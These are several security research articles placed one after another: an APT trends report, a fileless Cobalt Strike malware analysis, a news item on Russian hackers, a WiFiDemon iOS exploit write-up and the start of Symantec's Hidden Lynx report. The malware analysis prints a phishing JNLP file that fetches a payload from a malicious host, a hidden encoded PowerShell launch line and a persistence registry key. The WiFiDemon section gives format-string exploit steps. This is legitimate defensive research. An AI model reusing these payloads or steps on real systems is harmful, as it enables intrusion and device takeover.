and security policy.” Our technical analysis of the attack suggests that the Sofacy or Hades groups are behind it, though we’re unable to say for sure which of these groups is responsible. Such political interests are not new. Recently, a court in Virginia gave Microsoft control of a group of websites that were intended to look like login sites for a Washington think tank, but are believed to be part of the infrastructure of a “Russian group suspected in the DNC hack.” Additionally, Microsoft revealed that a “Russian nation-state hacking group” targeted political organizations engaged in the 2019 European Parliament elections scheduled for the end of May. On the technical side, since mid-January we have been tracking an active Turla campaign targeting government bodies in Turkmenistan and Tajikistan. This time the actor delivered its known KopiLuwak JavaScript using new .NET malware, called “Topinambour” (aka Sunchoke) by its developers. The Topinambour dropper is delivered along with legitimate software and consists of a tiny .NET shell that waits for Windows shell commands from operators. Interestingly, in this campaign the attackers used different artifacts implemented in JavaScript, .NET, and PowerShell – all of them with similar functionality. We also published details on how Zebrocy has added the “Go” language to its arsenal – the first time that we have observed a well-known APT threat actor deploy malware with this compiled, open-source language. Zebrocy continues to target government-related organizations in Central Asia, both in-country and in remote locations, as well as a new diplomatic target in the Middle East. Finally, during February 2019 we observed a highly targeted attack in Crimea using a previously unknown malware. The spy program was spread by email and masqueraded as the VPN client of a well-known Russian security company that, among other things, provides solutions to protect networks. At this point, we can’t relate this activity to any known actor. ## Chinese-Speaking Activity Recent APT trend summaries included analyses of new Chinese-speaking threat actors as well as the resurgence of old activity sets. This has continued into 2019. In the early months of 2019, Chinese-speaking actors were the most active, with a traditional interest in targeting different countries in South East Asia. A recent indictment of two Chinese nationals by the US Department of Justice on charges of computer hacking, conspiracy to commit wire fraud, and aggravated identity theft, alleged that they were members of the APT10 group, carrying out illegal activity on behalf of the Chinese Ministry of State Security. Similarly, CactusPete (aka LoneRanger, Karma Panda, and Tonto Team) is reported to have targeted South Korean, Japanese, US, and Taiwanese organizations in the 2012 – 2014 timeframe. The actor has quite likely relied on much the same codebase and implant variants for the past six years. However, these have broadened substantially since 2018. The group spear-phishes its targets, deploys Word and Equation Editor exploits and an appropriated/repackaged DarkHotel VBScript zero-day, delivers modified and compiled unique Mimikatz variants, GSEC and WCE credential stealers, a keylogger, various Escalation of Privilege exploits, various older utilities, and an updated set of backdoors, and what appear to be new variants of custom downloader and backdoor modules. We have been monitoring a campaign targeting Vietnamese government and diplomatic entities abroad since at least April 2018. We attribute the campaign, which we call “SpoiledLegacy,” to the LuckyMouse APT group (aka EmissaryPanda and APT27). The operators use penetration testing frameworks such as Cobalt Strike and Metasploit. While we believe that they exploit network services vulnerabilities as their main initial infection vector, we have also seen spear-phishing messages containing decoy documents. We believe that, as in a previous LuckyMouse campaign, internal database servers are among the targets. For the last stage of their attack, they use different in-memory 32- and 64-bit Trojans injected into system process memory. It is worth highlighting that all the tools in the infection chain dynamically obfuscate Win32 API calls using leaked HackingTeam code. FireEye defined APT40 as the Chinese state-sponsored threat actor previously reported as TEMP.Periscope, Leviathan, and TEMP.Jumper. According to FireEye, the group has conducted operations in support of China’s naval modernization effort since at least 2013, specifically targeting engineering, transportation, and defense industries, especially where these sectors overlap with maritime technologies. Recently, FireEye also observed specific targeting of countries strategically important to the “Belt and Road” Initiative, including Cambodia, Belgium, Germany, Hong Kong, the Philippines, Malaysia, Norway, Saudi Arabia, Switzerland, the United States, and the United Kingdom. Interestingly, the use of newer ANEL versions by APT10, targeting Japan, allowed us to find similarities between this malware and Emdivi, malware previously used by BlueTermite. This suggests a potential connection between both actors. ## South East Asia and Korean Peninsula Once again, this seems to be the most active region of the world in terms of APT activity. In January, we identified new activity by the Transparent Tribe APT group (aka PROJECTM and MYTHIC LEOPARD), a threat actor with interests aligned with Pakistan that has shown a persistent focus on Indian military targets. In February, we identified a campaign targeting military organizations, this time in India. We are currently unable to attribute this campaign to any known threat actor. The attackers rely on watering holes and spear-phishing to infect their victims. Specifically, they were able to compromise a website belonging to a think tank related to warfare studies, using it to host a malicious document that distributed a variant of the Netwire RAT. We also found evidence of a compromised welfare club for military personnel distributing the same malware during the same time period. OceanLotus was another actor active during this period, using a new downloader called KerrDown, as reported by Palo Alto. The actor was discovered at the beginning of the year using freshly compiled samples in a new wave of attacks. ESET recently uncovered a new addition to this actor’s toolset targeting Mac OS. In mid-2018, our report on “Operation AppleJeus” highlighted the focus of the Lazarus threat actor on cryptocurrency exchanges. In this operation, the group used a fake company with a backdoored product aimed at cryptocurrency businesses. One of the key findings was the group’s new ability to target Mac OS. Since then, Lazarus has expanded its operations for this platform. Further tracking of the group’s activities has enabled us to discover a new operation, active since at least November 2018, which utilizes PowerShell to control Windows systems and Mac OS malware to target Apple customers. Lazarus isn’t the only APT group targeting cryptocurrency exchanges. The Kimsuky group has also extended its activities to include individuals and companies in this sector, mainly in South Korea. Finally, at the start of the year, the South Asian Bitter group used a new simple downloader (called ArtraDownloader by Palo Alto) that delivers the BitterRat Trojan to target organizations in Saudi Arabia and Pakistan. ## Middle East Surprisingly, during the first months of the year, activity in the Middle East has, apparently, been less intense than in the past. Even so, it was the target of several groups already discussed, such as Chafer and Bitter. We also observed some activity from Gaza Team and MuddyWater. Still, this can be considered part of their continued targeting of the region, showing nothing new in terms of operational or technical improvements. ## Other Interesting Discoveries Late in 2018 we observed a new version of the FinSpy iOS implant in the wild. This is part of FinSpy Mobile, a product provided by the surveillance solutions developer, Gamma Group. FinSpy for iOS implements extensive spyware features that allow someone to track almost everything on infected devices, including keypresses, messages, and calls. A big limitation is that the current version can only be installed on jailbroken devices. We believe that Gamma Group does not provide an exploit tool to jailbreak victims’ phones, but it provides advice and support to customers on how to do the jailbreaking themselves. Our telemetry shows implant traces in Indonesia and Mongolia. However, due to the large number of Gamma customers, this is probably only a fraction of the victims. Following this research, we discovered a new version for Android also dated circa June 2018. While it is quite similar in terms of functionality, it implements unique capabilities specific to the platform such as obtaining root privileges by abusing the DirtyCow exploit (CVE-2016-5195). Just like the iOS version, this implant has features to exfiltrate data from Instant Messengers including Threema, Signal, WhatsApp, and Telegram, as well as internal device information including, but not limited to, emails and SMS messages. In February, our AEP (Automatic Exploit Prevention) systems detected an attempt to exploit a vulnerability in Windows – the fourth consecutive exploited Local Privilege Escalation vulnerability in Windows that we have recently discovered using our technologies. Further analysis led us to uncover a zero-day vulnerability in “win32k.sys.” We reported this to Microsoft on 22 February. The company confirmed the vulnerability and assigned it CVE-2019-0797. Microsoft released a patch on 12 March 2019, crediting Kaspersky Lab researchers Vasiliy Berdnikov and Boris Larin with the discovery. We believe that this exploit is being used by several threat actors – including, but possibly not limited to, FruityArmor and SandCat. FruityArmor is known to have used zero-days before, while SandCat is a new APT actor that we discovered only recently. The exploit found in the wild was targeting 64-bit operating systems in the Windows 8 to Windows 10 build 15063 range. FruityArmor and SandCat, interestingly, seem to follow parallel paths, both having the same exploits available at the same time. This seems to point to a third party providing both with such artifacts. Ransomware has become an interesting tool for APT actors, as it can be used to delete traces, conduct cyber-sabotage, or as a powerful distraction. There is an interesting wave of ransomware attacks that we have been following, as they seem to be mainly interested in big targets. LockerGoga recently compromised the systems of Altran, Norsk Hydro, and other companies. It’s unclear who’s behind the attacks, what they want, and the mechanism used to first infect its victims. It’s not even clear if LockerGoga is ransomware or a wiper. The malware encrypts data and displays a ransom asking victims to get in touch to arrange decryption, in return for an (unspecified) payment in bitcoins. However, later versions were observed by researchers that forcibly log victims off infected systems by changing their passwords and removing their ability to log back into the system. In such cases, the victims may not even get to see the ransom note. ## Final Thoughts Looking back at what has happened during the first months of the year is always a surprising experience for us. Even when we have the feeling that “nothing groundbreaking” has occurred, we always uncover a threat landscape that is full of many interesting stories and evolution on different fronts. If we are to provide a few general highlights, we can conclude that: - Geopolitics keeps gaining weight as the main driver of APT activity. - South East Asia is still the most active region of the world in terms of APT activity, but probably this is also related to the “noise” that some of the less experienced groups make. - Russian-speaking groups keep a low profile in comparison with recent years: maybe this is part of internal restructuring, but this is just a hypothesis. - Chinese-speaking actors maintain a high level of activity, combining low and high sophistication depending on the campaign. - Providers of “commercial” malware available for governments and other entities seem to be doing well, with more customers. If we are to highlight one thing from the whole period, in our opinion, operation ShadowHammer combines several factors that define the current status of APT activity. This is an advanced and targeted campaign using the supply chain for distribution on an incredibly wide scale. It involves several steps in a combined operation, including the initial collection of MAC addresses for their targets. This seems to be a new trend, as the actor also targeted other victims for malware distribution, showing how worrisome and difficult it is to fight supply-chain attacks. As always, this is only our visibility. We always have to keep in mind other sophisticated attacks that happen under our radar, but we continue to try and improve, to uncover every single one of them.
# Analysing Fileless Malware: Cobalt Strike Beacon Today we’re going to look at a malware campaign made up of multiple stages, with the end goal of establishing a C2 connection to a Cobalt Strike server. There are a few cool techniques that this campaign uses that we’re going to look at. I happened to come across the initial first stage phishing attachment while browsing for samples on VirusTotal and found it interesting as you do not commonly see JNLP attachments used for phishing. So, let’s get started. ## Stage 1: Attachment Analysis A JNLP file is a Java web file, which when clicked, the application `javaws.exe` will attempt to load and execute the file. `javaws.exe` is an application that is part of the Java Runtime Environment and is used to give internet functionality to Java applications. JNLP files can be used to allow for applications hosted on a remote server to be launched locally. It is worth noting that to be susceptible to phishing via a JNLP, the user will have to have Java installed on their machine. They are generally quite simple and are not difficult to analyse. You can easily view the content of a JNLP file by changing the extension to XML and loading the file in a text editor like Notepad++. As shown in the XML code below, we can see that this JNLP file will be used to load and execute the JAR file `FedEx_Delivery_invoice.jar` from the domain `hxxp://fedex-tracking.fun`. ```xml <?xml version="1.0" encoding="utf-8"?> <jnlp spec="1.0+" codebase="http://fedex-tracking.fun" href="FedEx_Delivery_invoice.jnlp"> <information> <title>Federal Express Service</title> <vendor>Federal Express</vendor> <homepage href="www.fedex.com"/> <description>Federal Express documents online.</description> </information> <security> <all-permissions/> </security> <resources> <j2se version="1.6+"/> <jar href="FedEx_Delivery_invoice.jar"/> </resources> <application-desc main-class="FedEx_Service"> </application-desc> </jnlp> ``` As we know the name and location of the 2nd stage payload, we can try and download it. The domain `hxxp://fedex-tracking.fun` is still up, so we can download the `FedEx_Delivery_invoice.jar` file from here. Once we have the file, we will analyse it with JD-GUI. JD-GUI is a simple tool that allows you to decompile and view the code of JAR files. (I copied the code into Atom after opening with JD-GUI as I like the syntax highlighting there.) As the code snippet above shows, the `FedEx_Delivery_invoice.jar` file is going to attempt to download the file `fedex912.exe` from the domain `hxxp://fedex-tracking[.]press`. The executable will be placed into the Windows temp directory, where it will then be executed. The JAR file will also load the legitimate FedEx tracking website which is most likely to try and reassure the user that the file they have downloaded is a legitimate one. ## Executable Analysis: Stage 2 Unfortunately, at the time of writing, the domain hosting the `fedex912.exe` is no longer active meaning we cannot download the file from here. However, there is a sample on VirusTotal that we can download. I ran the executable in my analysis environment with Process Monitor and RegShot and there were a few things of note. Firstly, the file `fedex912.exe` drops a new file called `gennt.exe`, which is basically just a copy of itself, into the directory `C:\ProgramData\9ea94915b24a4616f72c\`. The reason for placing the file here is that it is a hidden directory and not normally visible to the user. It then deletes the `fedex912.exe` file from the filesystem. I used RegShot to take a before and after snapshot of the registry to compare the two after running the executable. The entry below shows the malware’s persistence mechanism. Adding the `gennt.exe` executable to the registry key here ensures that the malware is started every time Windows is restarted. ``` HKU\S-1-5-21-1245055219-2462972176-1415829347-1001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell: "explorer.exe, "C:\ProgramData\9ea94915b24a4616f72c\gennt.exe"" ``` After doing some additional research on the executable, I found that it is supposed to launch cmd which then launches PowerShell. However, that did not occur on my test machine when running the executable. There could be a few reasons for this; one could be that the malware has anti-analysis capabilities and knows when it is being run in a standard VM. As my lab is not currently set up to counter VM aware malware, we are going to cheat slightly and use data from a sample that was run on AnyRun. On the AnyRun analysis, we can see that cmd did launch `"C:\Windows\System32\cmd.exe" /c powershell -nop -w hidden -encodedcommand` where a Base64 command was parsed to PowerShell. AnyRun records the command line, so let’s have a look into this. ## PowerShell Analysis: Stage 3 As is usually the case, the command line was encoded with Base64 so I used CyberChef to decode the text. Often when you decode Base64 text there will be a “.” between every single character. This is annoying but can easily be fixed by also adding a decode text operator to the recipe and setting the value to UTF-16LE(1200). We can see that the command is further encoded with Base64, and if we scroll further down to the bottom, we can also see that it has been compressed with GunZip. I used CyberChef to once again decode the Base64 and to decompress the GunZip compression. After running the above CyberChef recipe there was finally some human-readable text. There’s a lot of interesting stuff happening here. So we essentially have three parts to the PowerShell script: the first chunk with a couple of functions, the middle section with a Base64 encoded block and a “for” statement, and then the final section with some defined variables and an “if” statement. We’ll tackle the Base64 encoded block first and look at the rest of the PowerShell script a little later. **NOTE:** I had to split the code screenshots into two, as there is too much code to fit into one image. I’d much rather just post the raw code, rather than screenshots, but that would result in my site being flagged for hosting malware 😂. You can download the code samples at the bottom of this post. One thing that immediately stands out is a “for” statement underneath the Base64 encoded text in the “Powershell Script part 2” image. The “for” statement suggests that the Base64 block is encrypted with XOR with a key of 35. We can also use CyberChef to decrypt this. As shown in the above output, a lot of it is not human-readable but we can see what looks like an IP address and information about a User-Agent. The rest of the code that we cannot understand looks to be shellcode. Let us try and do some basic shellcode analysis to see what is going on here. I used CyberChef to convert the code above into Hex. This is straightforward to do, and only requires an additional two operators to our current CyberChef recipe. One operator converts our code into Hex, and the other is a find and replace to remove the spacing. Once we have our Hex code, you can save the output as a .dat file. Next, I used the tool scdbg to analyse the shellcode. This tool emulates basic Windows behaviour and can intercept what Windows API calls the shellcode is requesting by emulating the Windows API environment. After parsing the .dat file to the tool, the output below is given. The shellcode loads the wininet API library and imports two functions which are used to establish an internet connection. We can see that the connection is established to the IP address we saw earlier over port 8080. As the shellcode does not import any other functions, it would appear that this is a simple beacon program that establishes a remote connection to the malicious IP. Additional commands are likely to be sent from the C2 server. The C2 IP address is a Ukrainian address, with ports 80, 8080, and 22 open. ## Injecting into Memory with PowerShell So we’ve looked at our Base64 encoded block and determined that it’s some simple shellcode which is used to establish a connection to the C2 server. The one question we still have to answer is how is the shellcode executed? From looking at the rest of the PowerShell script, we can see that the shellcode is injected directly into memory. Below gives a basic summary of how it does this. 1. First, the script imports two functions `GetModuleHandle` and `GetProcAddress` from `system.dll`, and it does this by importing them directly from memory, so it does not load the DLL from disk. These are both Windows UnsafeNativeMethods. This method of loading DLLs in this way is called Run-Time Dynamic Linking. 2. These functions are then used to allocate space in memory for the function “var_va” which is the function that contains our shellcode. 3. Then the script decodes and decrypts the shellcode, in the same way that we did earlier with CyberChef. 4. Next, the `VirtualAlloc` writes the shellcode function to space in memory for the calling process. In this case, that would be PowerShell. So, the shellcode is essentially injected into the memory space used by PowerShell. 5. And finally, the shellcode is then executed, where it establishes a C2 channel with the Cobalt Strike server. ## What is Cobalt Strike? AnyRun attributed the PowerShell activity to Cobalt Strike and the PowerShell script and the shellcode that we analysed matches the profile and behaviour of a Cobalt Strike Beacon. Cobalt Strike is a tool used for adversary simulations and red team operations. A key feature of the tool is being able to generate malware payloads and C2 channels. The Cobalt Strike Beacon that we saw is fileless, meaning that the PowerShell script injects the Beacon straight into memory and never touches disk. Once a Cobalt Strike Beacon is present on a device, the attacker has significant capability to perform additional actions including stealing tokens and credentials for lateral movement. ## Conclusion So that brings this post to an end. I hope you found the information here useful. It’s a simple example of fileless malware and I think a good introduction for those who are maybe not very familiar with the area. It’s certainly a topic that I’m interested in and something I want to research further, so expect more posts on this in the future! ## IOCs **First stage:** - `FedEx_Delivery_invoice.jnlp` - SHA256: `7d187c34512571b45ffc2285414425b2e8963a914765582f9ea76ecc2791b45e` - `hxxp://fedex-tracking[.]fun` **Second stage:** - `FedEx_Delivery_invoice.jar` - SHA256: `e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855` - `hxxp://fedex-tracking[.]press` **Third stage:** - `fedex912.exe / gennt.exe` - SHA256: `ba5fa7cc1a918b866354f4a5d9d92ceb3965ff81eb96e1608f190bccf12d38e6` - Run Location: `%PROGRAMDATA%\9ea94915b24a4616f72c\gennt.exe` - Persistence Registry Key: ``` HKU\S-1-5-21-1245055219-2462972176-1415829347-1001\Software\Microsoft\Windows NT\CurrentVersion\Winlogon\Shell: "explorer.exe, "C:\ProgramData\9ea94915b24a4616f72c\gennt.exe" ``` **C2 Stage:** - `176[.]103[.]56[.]89`
# German Intelligence Agencies Warn of Russian Hacking Threats to Critical Infrastructure A Kremlin-linked hacking group has continued its long-running efforts to target German companies in the energy, water, and power sectors, according to a confidential German government advisory obtained by CyberScoop. Investigators earlier this year uncovered evidence of the hackers’ “longstanding compromises” at unnamed German companies, according to the memo that German intelligence and security agencies sent last week to operators of critical infrastructure. The hacking group — dubbed Berserk Bear and suspected by some industry analysts of operating on behalf of Russia’s FSB intelligence agency — has been using the supply chain to access the German companies’ IT systems, said the alert from the BSI, BND, and BfV federal agencies. “The attackers’ goal is to use publicly available but also specially written malware to permanently anchor themselves in the IT network…steal information or even gain access to productive systems [OT networks],” the advisory said. There was no evidence of a disruptive attack on any company’s industrial networks, German authorities said. The agencies did not respond to a request for comment. Berserk Bear is best known in the U.S. for a years-long campaign to collect data on U.S. energy companies, which the Trump administration blamed on the Russian government in 2018. It is one of a handful of hacking teams that Moscow can call on to spy on industrial computer networks, analysts say. Another group — known as Sandworm and believed to be operating on behalf of Russia’s GRU military intelligence agency — gained notoriety for cutting off power in Ukraine in 2015 and 2016. Berserk Bear is less conspicuous. They have used “waterholing,” or infecting websites and then picking off high-value login credentials, to compromise the IT networks of critical infrastructure companies in Europe and North America. In 2018, the hacking group “conducted extensive, worldwide reconnaissance across multiple sectors, including energy, maritime, and manufacturing,” and also targeted U.S. government organizations, according to a report from cybersecurity company CrowdStrike. This is far from German firms’ first encounter with Berserk Bear. In 2018, the BSI — one of Germany’s main cybersecurity agencies — also accused the hacking group of trying to breach the IT networks of German energy and power companies. Robert M. Lee, CEO of industrial cybersecurity company Dragos, said his analysts were aware of the group’s history — and that of a related set of hackers his company calls “Allanite” — of targeting German and U.S. electric utilities. “They have been aggressive and targeted numerous utilities, including those in the U.S., over the last couple of years,” Lee said. “To date, they haven’t shown the capability or intent to disrupt [utilities’] operations. Given their focus on industrial control systems and wide targeting, though, we continue to track them and report on them to the community.” Sven Herpig, a cybersecurity expert with the German think tank SNV, welcomed the advisory and urged German companies to heed the warning. The memo has “concrete recommendations of how to spot and protect against an intrusion” from Berserk Bear, he said. The Russian Embassy in Washington, D.C., did not respond to a request for comment on the German agencies’ report.
# Meet WiFiDemon – iOS WiFi RCE 0-Day Vulnerability, and a Zero-Click Vulnerability That Was Silently Patched **By ZecOps Research Team** **July 17, 2021** ## The TL;DR Version: ZecOps Mobile EDR Research team investigated if the recently announced WiFi format-string bug in wifid was exploited in the wild. This research led us to interesting discoveries: - Recently a silently patched 0-click WiFi proximity vulnerability on iOS 14 – iOS 14.4 without any assigned CVE. - The publicly announced WiFi Denial of Service (DoS) bug, which is currently a 0-day, is more than just a DoS and actually a RCE! - Analysis of whether any of the two bugs were exploited across our cloud user-base. ## Introduction There’s a new WiFi vulnerability in town. You probably already saw it, but didn’t realize the implication. The recently disclosed ‘non-dangerous’ WiFi bug is potent. This vulnerability allows an attacker to infect a phone/tablet without *any* interaction with an attacker. This type of attack is known as “0-click” (or “zero-click”). The vulnerability was only partially patched. ### 1. Prerequisites to the WiFiDemon 0-Click Attack: - Requires the WiFi to be open with Auto-Join (enabled by default). - Vulnerable iOS Version for 0-click: Since iOS 14.0. - The 0-Click vulnerability was patched on iOS 14.4. ### Solutions: - Update to the latest version, 14.6 at the time of writing, to avoid risk of WiFiDemon in its 0-click form. - Consider disabling WiFi Auto-Join Feature via Settings -> WiFi -> Auto-Join Hotspot -> Never. - Perform risk and compromise assessment to your mobile/tablet security using ZecOps Mobile EDR in case you suspect that you were targeted. ### 2. Prerequisites to the WiFi 0-Day Format Strings Attack: Unlike initial research publications, at the time of writing, the WiFi Format Strings seem to be a Remote Code Execution (RCE) when joining a malicious SSID. ### Solutions: - Do not join unknown WiFis. - Consider disabling WiFi Auto-Join Feature via Settings -> WiFi -> Auto-Join Hotspot -> Never. - Perform risk and compromise assessment to your mobile/tablet security using ZecOps Mobile EDR in case you suspect that you were targeted. - This vulnerability is still a 0-day at the time of writing, July 4th. iOS 14.6 is vulnerable when connecting to a specially crafted SSID. - Wait for an official update by Apple and apply it as soon as possible. ## Wi-Fi-Demon? wifid is a system daemon that handles protocols associated with WiFi connection. wifid runs as root. Most of the handling functions are defined in the CoreWiFi framework, and these services are not accessible from within the sandbox. wifid is a sensitive daemon that may lead to whole system compromise. Lately, researcher Carl Schou (@vm_call) discovered that wifid has a format string problem when handling SSID. The original tweet suggests that this wifid bug could permanently disable iPhone’s WiFi functionality, as well as the Hotspot feature. This “WiFi” Denial of Service (DoS) is happening since wifid writes known WiFi SSID into the following three files on the disk: - /var/preferences/com.apple.wifi.known-networks.plist - /var/preferences/SystemConfiguration/com.apple.wifi-networks.plist.backup - /var/preferences/SystemConfiguration/com.apple.wifi-private-mac-networks.plist Every time that wifid respawns, it reads the bad SSID from a file and crashes again. Even a reboot cannot fix this issue. However, this bug can be “fixed” by taking the following steps according to Forbes: “The fix is simple: Simply reset your network settings by going to Settings > General > Reset > Reset Network Settings.” This bug currently affects the latest iOS 14.6, and Apple has not yet released any fixes for this bug. ## Further Analysis Claims: This is Only a Denial of Service Followed by another researcher Zhi @CodeColorist published a quick analysis. His conclusion was: - “For the exploitability, it doesn’t echo and the rest of the parameters don’t seem like to be controllable. Thus I don’t think this case is exploitable. After all, to trigger this bug, you need to connect to that WiFi, where the SSID is visible to the victim. A phishing Wi-Fi portal page might as well be more effective.” ## The Plot Thickens We checked ZecOps Mobile Threat Intelligence to see if this bug was exploited in the past. We noticed that two of our EMEA users had an event related to this bug. Noteworthy, we only have access to our cloud data and couldn’t check other on-premises clients – so we might be missing other events. We asked ourselves: 1. Why would a person aware of dangerous threats connect to a network with such an odd name “%s%s…”. – Unlikely. 2. Why would an attacker bring a tactical team to target a VIP, only to cause DoS – It still does not make sense. ## Remotely exploitable, 0-click, under the hood! Further analysis revealed that: 1. Attackers did not need to force the user to connect. This vulnerability could be launched as a 0-click, without any user interaction. A victim only needed to have their WiFi turned on to trigger the vulnerable code. 2. This is not a DoS, but an actual RCE vulnerability for both the recently patched 0-click format-strings vulnerability and the malicious SSID format-strings 0-day vulnerability. This 0-click bug was patched on iOS 14.4 and credits “an anonymous researcher” for assisting. Although this is a potent 0-click bug, a CVE was not assigned. ## Technical Details: Analysis of a Zero-Click WiFi Vulnerability – WiFiDemon Let’s do a deeper dive into the technical details behind this vulnerability: Considering the possible impact of triggering this vulnerability as a 0-click, as well as the potential RCE implications, we investigated the wifid vulnerability in depth. When we tested this format-strings bug on an older version, similar to our clients, we noticed that wifid has intriguing logs when it is not connected to any WiFi. These logs contain SSID, which indicates that it may be affected by the same format string bug. We tested it and Voilà, it is affected by the same format string bug – meaning that this is a zero-click vulnerability and can be triggered without an end-user connecting to a strangely named WiFi. This log is related to a common smart device behavior: Automatically scan and join known networks. ## Zero-Click – Even When The Screen is Off The iPhone scans WiFi to join every ~3 seconds while the user is actively using the phone. Furthermore, even if the user’s phone screen has been turned off, it still scans for WiFi but at a relatively lower frequency. The waiting time for the following scan will be longer and longer, from ~10 seconds to 1+ minute. As long as the WiFi is turned on, this vulnerability can be triggered. If the user is connected to an existing WiFi network, an attacker can launch another attack to disconnect/de-associate the device and then launch this 0-click attack. Disconnecting a device from a WiFi is well-documented and we’ll not cover it as part of the scope for this blog. This 0-click vulnerability is powerful: if the malicious access point has password protection and the user never joins the WiFi, nothing will be saved to the disk. After turning off the malicious access point, the user’s WiFi function will be normal. A user could hardly notice if they have been attacked. ## Exploiting this Vulnerability We further analyzed whether this vulnerability can be exploited, and how: This post assumes that the reader is aware of the concept of format-string bugs and how to exploit them. However, this bug is slightly different from the “traditional” printf format string bugs because it uses [NSString stringWithFormat:] which was implemented by Apple, and Apple removed the support for %n for security reasons. That’s how an attacker would have been able to write to the memory in an exploitation of a traditional format string bug. ### Where You AT? – %@ Is Handy! Since we cannot use %n, we looked for another way to exploit this 0-click N-Day, as well as the 1-click 0-day wifid bug. Another possible use is %@, which is uniquely used by Objective-C. Since the SSID length is limited to 32 bytes, we can only put up to 16 Escape characters in a single SSID. Then the Escape characters we placed will process the corresponding data on the stack. A potential exploit opportunity is if we can find an object that has been released on the stack; in that case, we can find a spray method to control the content of that memory and then use %@ to treat it as an Objective-C object, like a typical Use-After-Free that could lead to code execution. ### Step 1: Find Possible Spraying Opportunities on the Stack First, we need to design an automatic method to detect whether it is possible to tweak the data on the stack. lldb breakpoint handling script perfectly fits that purpose. Set a breakpoint right before the format string bug and link to a lldb script that will automatically scan and observe changes in the stack. ### Step 2: Find an Efficient Spraying Method Then we need a spray method that can interfere with wifid’s memory over the air. An interesting strategy is called Beacon Flooding Attack. It broadcasts countless Beacon frames and results in many access points appearing on the victim’s device. To perform a beacon flooding attack, you need a wireless dongle that costs around $10 and a Linux VM. Install the corresponding dongle firmware and a tool called mdk3. For details, please refer to this article. As part of the beacon frame mandatory field, SSID can store a string of up to 32 bytes. wifid assigns a string object for each detected SSID. You can observe that from the log. This is the most obvious thing we can use for spray. Now attach a debugger to wifid and start flooding the device with a list of SSIDs that can be easily recognized. Turn on the iOS WiFi feature and wait until it begins automatically scanning for available WiFi. The breakpoint will get triggered and check through the stack to find traces of spray. The thing that caught our eye is the pointer stored at stack + offset 0x18. Since the SSID can store up to 32 bytes, the shortest format string escape character such as %x will occupy two bytes, which means that we can reach the range of 16 pointers stored on the stack with a single SSID at most. So stack + offset 0x18 could be reached by the fourth escape character. And the test results tell us that data at this offset could be controlled by the content we spray. ### Step 3 – Test the Ability to Remotely Control the Code Execution Flow So in the next test, we kept the Beacon Flooding Attack running, meanwhile we built a hotspot named “DDDD%x%x%x%@”. Notice that %@ is the fourth escape character. Unsurprisingly, wifid crashes as soon as it reads the name, and it automatically respawns and crashes again as long as the hotspot is still on. Checking the crash, it appears that the x15 register is easily affected. Now analyze where it crashed. As the effect of %@ format specifier, it’s trying to print Objective-C Object. The code block highlighted in yellow is the desired code execution flow. x0 is the pointer stored at stack + offset 0x18. We try to control its content through the spray and lead the situation to the typical Use-After-Free scenario. x9 is the data x0 points to. It represents the isa pointer, which is the first member of the objc object data structure. As you can see in the figure, control x9 is critical to reaching that objc_msgSend call at the bottom. With more tests, we confirmed that stack + offset 0x18 indeed can be affected by the spray. Now things have become more familiar. Pass a controlled/fake Objc object to objc_msgSend to achieve arbitrary code execution. The next challenge is finding a way to spray memory filled with ROP/JOP payload. ### Step 4 – Achieving Remote Code Execution wifid deals with a lot of wireless features. Spraying large memory wirelessly is left as an exercise for the reader. Locally, this bug can be used to build a partial sandbox escape to help achieve jailbreaking. ## Attacks-In-The-Wild? Ironically, the events that triggered our interest in this vulnerability were not related to an attack and the two devices were only subject to a denial of service issue that was fixed on iOS 14.6. However, since this vulnerability was widely published, and relatively easy to notice, we are highly confident that various threat actors have discovered the same information we did, and we would like to encourage an issuance of a patch as soon as possible. ZecOps Mobile EDR Customers will identify attacks leveraging these vulnerabilities with the tag “WiFiDemon”. ## Generating an Alert Using ZecOps Mobile EDR We have added generic rules for detection of successful exploitation to our customers. We also provided instructions to customers on how to create a rule to see failed spraying / ASLR bypass attempts. To summarize: - A related vulnerability was exploitable as a 0-click until iOS 14.4. CVE was not assigned and the vulnerability was silently patched. The patch thanks an anonymous researcher. - The publicly announced WiFi vulnerability is exploitable on 14.6 when connecting to a maliciously crafted SSID. - We highly recommend issuing a patch for this vulnerability. - Older devices: e.g. iPhone 5s are still on iOS 12.X which is not vulnerable to the 0-click vulnerability. If you’d like to check your phone and monitor it – feel free to reach out to us here to discuss how we can help you increase your mobile visibility using ZecOps Mobile EDR. ## iOS 14.7 fix The fix on iOS 14.7 is as follows: it’s pretty straightforward, adding “%s” as format-string and the SSID included string as a parameter solves the issue.
# Hidden Lynx – Professional Hackers for Hire Created: 17 Sep 2013 13:00:01 GMT Symantec Security Response For the past few years, reports have continued to emerge detailing the activities of actors behind various targeted attacks or Advanced Persistent Threats (APTs). Here at Symantec Security Response, we’ve been keeping our eyes on a group that we believe are among the best of breed. We’ve given them the name of Hidden Lynx—after a string that was found in the command and control server communications. This group has a hunger and drive that surpass other well-known groups such as APT1/Comment Crew. Key characteristics of this group are: - technical prowess - agility - organized - sheer resourcefulness - patience These attributes are shown by the relentless campaigns waged against multiple concurrent targets over a sustained period of time. They are the pioneers of the “watering hole” technique used to ambush targets, they have early access to zero-day vulnerabilities, and they have the tenacity and patience of an intelligent hunter to compromise the supply chain to get at the true target. These supply chain attacks are carried out by infecting computers at a supplier of an intended target and then waiting for the infected computers to be installed and call home; clearly, these are cool calculated actions rather than impulsive forays of amateurs. This group doesn’t just limit itself to a handful of targets; instead, it targets hundreds of different organizations in many different regions, even concurrently. Given the breadth and number of targets and regions involved, we infer that this group is most likely a professional hacker-for-hire operation that is contracted by clients to provide information. They steal on demand, whatever their clients are interested in, hence the wide variety and range of targets. We also believe that to carry out attacks of this scale, the group must have considerable hacking expertise at its disposal; perhaps 50 to 100 operatives are employed and organized into at least two distinct teams both tasked with carrying out different activities using different tools and techniques. These types of attacks require time and effort to carry out; some of the campaigns require research and intelligence gathering before any successful attacks can be mounted. At the front line of this group is a team that uses disposable tools along with basic but effective techniques to attack many different targets. They may also act as intelligence collectors too. This team we call Team Moudoor after the name of the Trojan that they use. Moudoor is a back door Trojan that the team uses liberally without worry about discovery by security firms. The other team acts like a special operations unit, elite personnel used to crack the most valuable or toughest targets. The elite team uses a Trojan named Naid and are therefore referred to as Team Naid. Unlike Moudoor, the Naid Trojan is used sparingly and with care to avoid detection and capture, like a secret weapon that is only used when failure is not an option. Since 2011, we have observed at least six significant campaigns by this group. The most notable of these campaigns is the VOHO attack campaign of June 2012. What was particularly interesting about this attack was the use of the watering hole attack technique and the compromise of Bit9’s 